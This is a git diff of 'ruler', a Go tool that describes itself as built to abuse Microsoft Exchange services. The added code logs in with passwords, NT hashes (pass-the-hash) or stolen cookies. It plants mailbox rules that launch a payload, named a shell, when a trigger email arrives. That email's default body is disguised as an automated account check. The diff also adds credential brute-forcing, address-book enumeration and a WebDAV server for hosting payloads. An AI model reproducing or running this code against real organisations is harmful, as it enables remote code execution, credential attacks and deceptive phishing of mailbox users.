mapi.ExecuteMailRuleAdd(c.String("name"), c.String("trigger"), c.String("location"), true) - if res.StatusCode != 0 { - return fmt.Errorf("[x] Failed to create rule. %s", err) - } - if err != nil { - return err - } - fmt.Println("[*] Rule Added. Fetching list of rules...") - rules, err := mapi.DisplayRules() - if err != nil { - return err - } - fmt.Printf("[+] Found %d rules\n", len(rules)) - for _, v := range rules { - fmt.Printf("Rule: %s RuleID: %x\n", string(v.RuleName), v.RuleID) + if err != nil || res.StatusCode == 255 { + return fmt.Errorf("Failed to create rule. %s", err) } + utils.Info.Println("Rule Added. Fetching list of rules...") + + printRules() + if c.Bool("send") { - sendMessage(c.String("trigger")) + utils.Info.Println("Auto Send enabled, wait 30 seconds before sending email (synchronisation)") + //initate a ping sequence, just incase we are on RPC/HTTP + //we need to keep the socket open + go mapi.Ping() + time.Sleep(time.Second * (time.Duration)(30)) + utils.Info.Println("Sending email") + if c.String("subject") == "" { + sendMessage(c.String("trigger"), c.String("body")) + } else { + sendMessage(c.String("subject"), c.String("body")) + } + } return nil @@ -169,84 +101,108 @@ func addRule(c *cli.Context) error { //Function to delete a rule func deleteRule(c *cli.Context) error { + var ruleid []byte + var err error - ruleid, err := hex.DecodeString(c.String("id")) - if err != nil { - return fmt.Errorf("[x] Incorrect ruleid format. ") - } - - err = mapi.ExecuteMailRuleDelete(ruleid) - if err == nil { - fmt.Println("[*] Rule deleted. Fetching list of remaining rules...") + if c.String("id") == "" && c.String("name") != "" { rules, er := mapi.DisplayRules() if er != nil { return er } - fmt.Printf("[+] Found %d rules\n", len(rules)) + utils.Info.Printf("Found %d rules. Extracting ids\n", len(rules)) for _, v := range rules { - fmt.Printf("Rule: %s RuleID: %x\n", string(v.RuleName), v.RuleID) + if utils.FromUnicode(v.RuleName) == c.String("name") { + reader := bufio.NewReader(os.Stdin) + utils.Question.Printf("Delete rule with id %x [y/N]: ", v.RuleID) + ans, _ := reader.ReadString('\n') + if ans == "y\n" || ans == "Y\n" || ans == "yes\n" { + ruleid = v.RuleID + err = mapi.ExecuteMailRuleDelete(ruleid) + if err != nil { + utils.Error.Printf("Failed to delete rule") + } + } + } + } + if ruleid == nil { + return fmt.Errorf("No rule with supplied name found") + } + } else { + ruleid, err = hex.DecodeString(c.String("id")) + if err != nil { + return fmt.Errorf("Incorrect ruleid format. Try --name if you wish to supply a rule's name rather than id") + } + err = mapi.ExecuteMailRuleDelete(ruleid) + if err != nil { + utils.Error.Printf("Failed to delete rule") + } + } + + if err == nil { + utils.Info.Println("Fetching list of remaining rules...") + er := printRules() + if er != nil { + return er } - return nil } return err } //Function to display all rules func displayRules(c *cli.Context) error { - fmt.Println("[+] Retrieving Rules") - rules, er := mapi.DisplayRules() - - if er != nil { - return er - } - - fmt.Printf("[+] Found %d rules\n", len(rules)) - for _, v := range rules { - fmt.Printf("Rule: %s RuleID: %x\n", string(v.RuleName), v.RuleID) - } + utils.Info.Println("Retrieving Rules") + er := printRules() return er } -func sendMessage(triggerword string) error { - - fmt.Println("[*] Auto Send enabled, wait 30 seconds before sending email (synchronisation)") - //initate a ping sequence, just incase we are on RPC/HTTP - //we need to keep the socket open - go mapi.Ping() - time.Sleep(time.Second * (time.Duration)(30)) - fmt.Println("[*] Sending email") +func sendMessage(subject, body string) error { propertyTags := make([]mapi.PropertyTag, 1) propertyTags[0] = mapi.PidTagDisplayName _, er := mapi.GetFolder(mapi.OUTBOX, nil) //propertyTags) if er != nil { - fmt.Println(er) return er } - _, er = mapi.SendMessage(triggerword) + _, er = mapi.SendMessage(subject, body) if er != nil { return er } - fmt.Println("[*] Message sent, your shell should trigger shortly.") + utils.Info.Println("Message sent, your shell should trigger shortly.") return nil } //Function to connect to the Exchange server func connect(c *cli.Context) error { - + var err error //check that name, trigger and location were supplied - if (c.GlobalString("password") == "" && c.GlobalString("hash") == "") || (c.GlobalString("email") == "" && c.GlobalString("username") == "") { - return fmt.Errorf("Missing global argument. Use --domain, --username, (--password or --hash) and --email") + if c.GlobalString("email") == "" && c.GlobalString("username") == "" { + return fmt.Errorf("Missing global argument. Use --domain (if needed), --username and --email") } + //if no password or hash was supplied, read from stdin + if c.GlobalString("password") == "" && c.GlobalString("hash") == "" { + fmt.Printf("Password: ") + var pass []byte + pass, err = gopass.GetPasswd() + if err != nil { + // Handle gopass.ErrInterrupted or getch() read error + return fmt.Errorf("Password or hash required. Supply NTLM hash with --hash") + } + config.Pass = string(pass) + } else { + config.Pass = c.GlobalString("password") + if config.NTHash, err = hex.DecodeString(c.GlobalString("hash")); err != nil { + return fmt.Errorf("Invalid hash provided. Hex decode failed") + } + } //setup our autodiscover service config.Domain = c.GlobalString("domain") config.User = c.GlobalString("username") - config.Pass = c.GlobalString("password") + config.Email = c.GlobalString("email") - config.NTHash, _ = hex.DecodeString(c.GlobalString("hash")) + config.Basic = c.GlobalBool("basic") config.Insecure = c.GlobalBool("insecure") config.Verbose = c.GlobalBool("verbose") @@ -281,11 +237,51 @@ func connect(c *cli.Context) error { config.CookieJar.SetCookies(u, cookieJarTmp) } + config.CookieJar, _ = cookiejar.New(nil) + + //add supplied cookie to the cookie jar + if c.GlobalString("cookie") != "" { + //split into cookies and then into name : value + cookies := strings.Split(c.GlobalString("cookie"), ";") + var cookieJarTmp []*http.Cookie + var cdomain string + //split and get the domain from the email + if eparts := strings.Split(c.GlobalString("email"), "@"); len(eparts) == 2 { + cdomain = eparts[1] + } else { + return fmt.Errorf("Invalid email address") + } + + for _, v := range cookies { + cookie := strings.Split(v, "=") + c := &http.Cookie{ + Name: cookie[0], + Value: cookie[1], + Path: "/", + Domain: cdomain, + } + cookieJarTmp = append(cookieJarTmp, c) + } + u, _ := url.Parse(fmt.Sprintf("https://%s/", cdomain)) + config.CookieJar.SetCookies(u, cookieJarTmp) + } + url := c.GlobalString("url") + if c.GlobalBool("o365") == true { + url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml" + } + autodiscover.SessionConfig = &config var resp *utils.AutodiscoverResp + var rawAutodiscover string + + //unless user specified nocache, check cache for existing autodiscover + if c.GlobalBool("nocache") == false { + resp = autodiscover.CheckCache(config.Email) + } + //var err error //try connect to MAPI/HTTP first -- this is faster and the code-base is more stable //unless of course the global "RPC" flag has been set, which specifies we should just use @@ -293,28 +289,48 @@ func connect(c *cli.Context) error { if !c.GlobalBool("rpc") { var mapiURL, abkURL, userDN string - resp = getMapiHTTP(url) + resp, rawAutodiscover, err = autodiscover.GetMapiHTTP(config.Email, url, resp) + if err != nil { + exit(err) + } mapiURL = mapi.ExtractMapiURL(resp) abkURL = mapi.ExtractMapiAddressBookURL(resp) userDN = resp.Response.User.LegacyDN if mapiURL == "" { //try RPC - fmt.Println("[x] No MAPI URL found. Trying RPC/HTTP") - resp = getRPCHTTP(url) + //fmt.Println("No MAPI URL found. Trying RPC/HTTP") + resp, _, config.RPCURL, config.RPCMailbox, config.RPCEncrypt, err = autodiscover.GetRPCHTTP(config.Email, url, resp) + if err != nil { + exit(err) + } if resp.Response.User.LegacyDN == "" { - return fmt.Errorf("[x] Both MAPI/HTTP and RPC/HTTP failed. Are the credentials valid? \n%s", resp.Response.Error) + return fmt.Errorf("Both MAPI/HTTP and RPC/HTTP failed. Are the credentials valid? \n%s", resp.Response.Error) } mapi.Init(&config, resp.Response.User.LegacyDN, "", "", mapi.RPC) + if c.GlobalBool("nocache") == false { + autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use + } } else { - fmt.Println("[+] MAPI URL found: ", mapiURL) - fmt.Println("[+] MAPI AddressBook URL found: ", abkURL) + + utils.Trace.Println("MAPI URL found: ", mapiURL) + utils.Trace.Println("MAPI AddressBook URL found: ", abkURL) + mapi.Init(&config, userDN, mapiURL, abkURL, mapi.HTTP) + if c.GlobalBool("nocache") == false { + autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use + } } } else { - fmt.Println("[*] RPC/HTTP forced, trying RPC/HTTP") - resp = getRPCHTTP(url) + utils.Trace.Println("RPC/HTTP forced, trying RPC/HTTP") + resp, rawAutodiscover, config.RPCURL, config.RPCMailbox, config.RPCEncrypt, err = autodiscover.GetRPCHTTP(config.Email, url, resp) + if err != nil { + exit(err) + } mapi.Init(&config, resp.Response.User.LegacyDN, "", "", mapi.RPC) + if c.GlobalBool("nocache") == false { + autodiscover.CreateCache(config.Email, rawAutodiscover) //store the autodiscover for future use + } } //now we should do the login @@ -323,9 +339,9 @@ func connect(c *cli.Context) error { if err != nil { exit(err) } else if logon.MailboxGUID != nil { - fmt.Println("[*] And we are authenticated") - //fmt.Printf("[+] Mailbox GUID: %x\n", logon.MailboxGUID) - fmt.Println("[*] Openning the Inbox") + + utils.Trace.Println("And we are authenticated") + utils.Trace.Println("Openning the Inbox") propertyTags := make([]mapi.PropertyTag, 2) propertyTags[0] = mapi.PidTagDisplayName @@ -335,25 +351,83 @@ func connect(c *cli.Context) error { return nil } +func printRules() error { + rules, er := mapi.DisplayRules() + + if er != nil { + return er + } + + if len(rules) > 0 { + utils.Info.Printf("Found %d rules\n", len(rules)) + maxwidth := 30 + + for _, v := range rules { + if len(string(v.RuleName)) > maxwidth { + maxwidth = len(string(v.RuleName)) + } + } + maxwidth -= 10 + fmstr1 := fmt.Sprintf("%%-%ds | %%-s\n", maxwidth) + fmstr2 := fmt.Sprintf("%%-%ds | %%x\n", maxwidth) + utils.Info.Printf(fmstr1, "Rule Name", "Rule ID") + utils.Info.Printf("%s|%s\n", (strings.Repeat("-", maxwidth+1)), strings.Repeat("-", 18)) + for _, v := range rules { + utils.Info.Printf(fmstr2, string(utils.FromUnicode(v.RuleName)), v.RuleID) + } + utils.Info.Println() + } else { + utils.Info.Printf("No Rules Found\n") + } + return nil +} + +//Function to display all rules +func abkList(c *cli.Context) error { + if config.Transport == mapi.RPC { + return fmt.Errorf("Address book support is currently limited to MAPI/HTTP") + } + utils.Trace.Println("Let's play addressbook") + mapi.BindAddressBook() + columns := make([]mapi.PropertyTag, 2) + columns[0] = mapi.PidTagSMTPAddress + columns[1] = mapi.PidTagDisplayName + rows, _ := mapi.QueryRows(10, columns) //pull first 255 entries + utils.Info.Println("Found the following entries: ") + for k := 0; k < int(rows.RowCount); k++ { + for v := 0; v < int(rows.Columns.PropertyTagCount); v++ { + //value, p = mapi.ReadPropertyValue(rows.RowData[k].ValueArray[p:], rows.Columns.PropertyTags[v].PropertyType) + utils.Info.Printf("%s :: ", rows.RowData[k].AddressBookPropertyValue[v].Value) + } + utils.Info.Println("") + } + return nil +} + func main() { + app := cli.NewApp() app.Name = "ruler" app.Usage = "A tool to abuse Exchange Services" - app.Version = "2.0" - app.Author = "Etienne Stalmans " + app.Version = "2.0.17" + app.Author = "Etienne Stalmans , @_staaldraad" app.Description = ` _ _ __ _ _| | ___ _ __ | '__| | | | |/ _ \ '__| | | | |_| | | __/ | |_| \__,_|_|\___|_| -A tool by @sensepost to abuse Exchange Services.` +A tool by @_staaldraad from @sensepost to abuse Exchange Services.` app.Flags = []cli.Flag{ cli.StringFlag{ Name: "domain,d", Value: "", - Usage: "A domain for the user (usually required for domain\\username)", + Usage: "A domain for the user (optional in most cases. Otherwise allows: domain\\username)", + }, + cli.BoolFlag{ + Name: "o365", + Usage: "We know the target is on Office365, so authenticate directly against that.", }, cli.StringFlag{ Name: "username,u", @@ -368,7 +442,7 @@ A tool by @sensepost to abuse Exchange Services.` cli.StringFlag{ Name: "hash", Value: "", - Usage: "A NT hash for pass the hash (NTLMv1)", + Usage: "A NT hash for pass the hash", }, cli.StringFlag{ Name: "email,e", @@ -401,6 +475,10 @@ A tool by @sensepost to abuse Exchange Services.` Name: "admin", Usage: "Login as an admin", }, + cli.BoolFlag{ + Name: "nocache", + Usage: "Don't use the cached autodiscover record", + }, cli.BoolFlag{ Name: "rpc", Usage: "Force RPC/HTTP rather than MAPI/HTTP", @@ -411,6 +489,15 @@ A tool by @sensepost to abuse Exchange Services.` }, } + app.Before = func(c *cli.Context) error { + if c.Bool("verbose") == true { + utils.Init(os.Stdout, os.Stdout, os.Stdout, os.Stderr) + } else { + utils.Init(ioutil.Discard, os.Stdout, os.Stdout, os.Stderr) + } + return nil + } + app.Commands = []cli.Command{ { Name: "add", @@ -436,6 +523,16 @@ A tool by @sensepost to abuse Exchange Services.` Name: "send,s", Usage: "Trigger the rule by sending an email to the target", }, + cli.StringFlag{ + Name: "body,b", + Value: "**Automated account check - please ignore**\r\n\r\nMicrosoft Exchange has run an automated test on your account.\r\nEverything seems to be configured correctly.", + Usage: "The email body you may wish to use", + }, + cli.StringFlag{ + Name: "subject", + Value: "", + Usage: "The subject you wish to use, this should contain your trigger word.", + }, }, Action: func(c *cli.Context) error { //check that name, trigger and location were supplied @@ -449,6 +546,7 @@ A tool by @sensepost to abuse Exchange Services.` } err = addRule(c) exit(err) + return nil }, }, @@ -462,18 +560,25 @@ A tool by @sensepost to abuse Exchange Services.` Value: "", Usage: "The ID of the rule to delete", }, + cli.StringFlag{ + Name: "name", + Value: "", + Usage: "The name of the rule to delete", + }, }, Action: func(c *cli.Context) error { //check that ID was supplied - if c.String("id") == "" { - return cli.NewExitError("Rule id required. Use --id", 1) + if c.String("id") == "" && c.String("name") == "" { + return cli.NewExitError("Rule id or name required. Use --id or --name", 1) } err := connect(c) if err != nil { return cli.NewExitError(err, 1) } err = deleteRule(c) + exit(err) + return nil }, }, @@ -488,6 +593,7 @@ A tool by @sensepost to abuse Exchange Services.` } err = displayRules(c) exit(err) + return nil }, }, @@ -496,7 +602,41 @@ A tool by @sensepost to abuse Exchange Services.` Aliases: []string{"c"}, Usage: "Check if the credentials work and we can interact with the mailbox", Action: func(c *cli.Context) error { - fmt.Println("completed task: ", c.Args().First()) + err := connect(c) + if err != nil { + return cli.NewExitError(err, 1) + } + utils.Info.Println("Looks like we are good to go!") + return nil + }, + }, + { + Name: "send", + Aliases: []string{"s"}, + Usage: "Send an email to trigger an existing rule. This uses the target user's own account.", + Flags: []cli.Flag{ + cli.StringFlag{ + Name: "subject,s", + Value: "", + Usage: "A subject to use, this should contain our trigger word", + }, + cli.StringFlag{ + Name: "body,b", + Value: "**Automated account check - please ignore**\r\nMicrosoft Exchange has run an automated test on your account.\r\nEverything seems to be configured correctly.", + Usage: "The email body you may wish to use", + }, + }, + Action: func(c *cli.Context) error { + //check that trigger word was supplied + if c.String("subject") == "" { + return cli.NewExitError("The subject is required. Use --subject", 1) + } + err := connect(c) + if err != nil { + return cli.NewExitError(err, 1) + } + err = sendMessage(c.String("subject"), c.String("body")) + exit(err) return nil }, }, @@ -540,12 +680,10 @@ A tool by @sensepost to abuse Exchange Services.` }, }, Action: func(c *cli.Context) error { - err := brute(c) if err != nil { return cli.NewExitError(err, 1) } - //fmt.Println("completed task: ", c.String("users")) return nil }, }, @@ -557,12 +695,37 @@ A tool by @sensepost to abuse Exchange Services.` Name: "list", Usage: "list the entries of the GAL", Action: func(c *cli.Context) error { - fmt.Println("new task template: ", c.Args().First()) + err := connect(c) + if err != nil { + return cli.NewExitError(err, 1) + } + err = abkList(c) + if err != nil { + return cli.NewExitError(err, 1) + } return nil }, }, }, }, + { + Name: "troopers", + Aliases: []string{"t"}, + Usage: "Troopers", + Action: func(c *cli.Context) error { + utils.Info.Println("Ruler - Troopers 17 Edition") + st := `.___________..______ ______ ______ .______ _______ .______ _______. +| || _ \ / __ \ / __ \ | _ \ | ____|| _ \ / | + ---| |----| |_) | | | | | | | | | | |_) | | |__ | |_) | | (---- + | | | / | | | | | | | | | ___/ | __| | / \ \ + | | | |\ \----.| --' | | --' | | | | |____ | |\ \----.----) | + |__| | _| ._____| \______/ \______/ | _| |_______|| _| ._____|_______/ + + https://www.troopers.de/troopers17/` + utils.Info.Println(st) + return nil + }, + }, } app.Action = func(c *cli.Context) error { diff --git a/utils/datatypes.go b/utils/datatypes.go index 96e28d9..01aab9b 100644 --- a/utils/datatypes.go +++ b/utils/datatypes.go @@ -110,7 +110,7 @@ type Protocol struct { ASUrl string EWSUrl string EMWSUrl string - SharingUrl string + SharingURL string ECPUrl string OOFUrl string UMUrl string diff --git a/utils/logging.go b/utils/logging.go new file mode 100644 index 0000000..efdd6e9 --- /dev/null +++ b/utils/logging.go @@ -0,0 +1,33 @@ +package utils + +import ( + "io" + "log" +) + +var ( + Trace *log.Logger + Info *log.Logger + Question *log.Logger + Fail *log.Logger + Warning *log.Logger + Error *log.Logger +) + +//Init the logging function +func Init( + traceHandle io.Writer, + infoHandle io.Writer, + warningHandle io.Writer, + errorHandle io.Writer) { + + Trace = log.New(traceHandle, "\033[33m[*] \033[0m", 0) + Info = log.New(infoHandle, "\033[32m[+] \033[0m", 0) + Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0) + Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0) + Warning = log.New(warningHandle, + "\033[91m[WARNING] \033[0m", 0) + + Error = log.New(errorHandle, + "\033[31mERROR\033[0m: ", log.Ldate|log.Ltime) +} diff --git a/utils/utils.go b/utils/utils.go index d2546ff..845ba06 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -5,16 +5,31 @@ import ( "encoding/base64" "encoding/binary" "fmt" + "hash/fnv" "reflect" ) var ( - put32 = binary.LittleEndian.PutUint32 - put16 = binary.LittleEndian.PutUint16 + put32 = binary.LittleEndian.PutUint32 + put16 = binary.LittleEndian.PutUint16 + //EncBase64 wrapper for encoding to base64 EncBase64 = base64.StdEncoding.EncodeToString + //DecBase64 wrapper for decoding from base64 DecBase64 = base64.StdEncoding.DecodeString ) +//FromUnicode read unicode and convert to byte array +func FromUnicode(uni []byte) string { + st := "" + for _, k := range uni { + if k != 0x00 { + st += string(k) + } + } + return st +} + +//UniString converts a string into a unicode string byte array func UniString(str string) []byte { bt := make([]byte, (len(str) * 2)) cnt := 0 @@ -48,12 +63,15 @@ func UTF16BE(str string, trail int) []byte { return bt } +//DecodeUint32 decode 4 byte value into uint32 func DecodeUint32(num []byte) uint32 { var number uint32 bf := bytes.NewReader(num) binary.Read(bf, binary.LittleEndian, &number) return number } + +//DecodeUint16 decode 2 byte value into uint16 func DecodeUint16(num []byte) uint16 { var number uint16 bf := bytes.NewReader(num) @@ -61,12 +79,15 @@ func DecodeUint16(num []byte) uint16 { return number } +//DecodeUint8 decode 1 byte value into uint8 func DecodeUint8(num []byte) uint8 { var number uint8 bf := bytes.NewReader(num) binary.Read(bf, binary.LittleEndian, &number) return number } + +//EncodeNum encode a number as a byte array func EncodeNum(v interface{}) []byte { byteNum := new(bytes.Buffer) binary.Write(byteNum, binary.LittleEndian, v) @@ -115,25 +136,32 @@ func BodyToBytes(DataStruct interface{}) []byte { return dumped } +//ReadUint32 read 4 bytes and return as uint32 func ReadUint32(pos int, buff []byte) (uint32, int) { return DecodeUint32(buff[pos : pos+4]), pos + 4 } +//ReadUint16 read 2 bytes and return as uint16 func ReadUint16(pos int, buff []byte) (uint16, int) { return DecodeUint16(buff[pos : pos+2]), pos + 2 } + +//ReadUint8 read 1 byte and return as uint8 func ReadUint8(pos int, buff []byte) (uint8, int) { return DecodeUint8(buff[pos : pos+2]), pos + 2 } +//ReadBytes read and return count number o bytes func ReadBytes(pos, count int, buff []byte) ([]byte, int) { return buff[pos : pos+count], pos + count } +//ReadByte read and return a single byte func ReadByte(pos int, buff []byte) (byte, int) { return buff[pos : pos+1][0], pos + 1 } +//ReadUnicodeString read and return a unicode string func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { //stupid hack as using bufio and ReadString(byte) would terminate too early //would terminate on 0x00 instead of 0x0000 @@ -142,12 +170,14 @@ func ReadUnicodeString(pos int, buff []byte) ([]byte, int) { return []byte(str), pos + index + 2 } +//ReadASCIIString returns a string as ascii func ReadASCIIString(pos int, buff []byte) ([]byte, int) { bf := bytes.NewBuffer(buff[pos:]) str, _ := bf.ReadString(0x00) return []byte(str), pos + len(str) } +//ReadTypedString reads a string as either Unicode or ASCII depending on type value func ReadTypedString(pos int, buff []byte) ([]byte, int) { var t = buff[pos] if t == 0 { //no string @@ -167,3 +197,19 @@ func ReadTypedString(pos int, buff []byte) ([]byte, int) { str, _ := ReadBytes(pos+1, 4, buff) return str, pos + len(str) } + +//Hash Calculate a 32byte hash +func Hash(s string) uint32 { + h := fnv.New32() + h.Write([]byte(s)) + return h.Sum32() +} + +//Obfuscate traffic using XOR and the magic byte as specified in RPC docs +func Obfuscate(data []byte) []byte { + bnew := make([]byte, len(data)) + for k := range data { + bnew[k] = data[k] ^ 0xA5 + } + return bnew +} diff --git a/webdav/webdavserv.go b/webdav/webdavserv.go new file mode 100644 index 0000000..fa78a7f --- /dev/null +++ b/webdav/webdavserv.go @@ -0,0 +1,56 @@ +package main + +import ( + "flag" + "fmt" + "log" + "net/http" + "os" + + "golang.org/x/net/webdav" +) + +var dir string + +func main() { + + dirFlag := flag.String("d", "./", "Directory to serve from. Default is CWD") + httpPort := flag.Int("p", 80, "Port to serve on (Plain HTTP)") + httpsPort := flag.Int("ps", 443, "Port to serve TLS on") + serveSecure := flag.Bool("s", false, "Serve HTTPS. Default false") + + flag.Parse() + + dir = *dirFlag + + srv := &webdav.Handler{ + FileSystem: webdav.Dir(dir), + LockSystem: webdav.NewMemLS(), + Logger: func(r *http.Request, err error) { + if err != nil { + log.Printf("WEBDAV [%s]: %s, ERROR: %s\n", r.Method, r.URL, err) + } else { + log.Printf("WEBDAV [%s]: %s \n", r.Method, r.URL) + } + }, + } + + http.Handle("/", srv) + + if *serveSecure == true { + if _, err := os.Stat("./cert.pem"); err != nil { + fmt.Println("[x] No cert.pem in current directory. Please provide a valid cert") + return + } + if _, er := os.Stat("./key.pem"); er != nil { + fmt.Println("[x] No key.pem in current directory. Please provide a valid cert") + return + } + + go http.ListenAndServeTLS(fmt.Sprintf(":%d", *httpsPort), "cert.pem", "key.pem", nil) + } + if err := http.ListenAndServe(fmt.Sprintf(":%d", *httpPort), nil); err != nil { + log.Fatalf("Error with WebDAV server: %v", err) + } + +}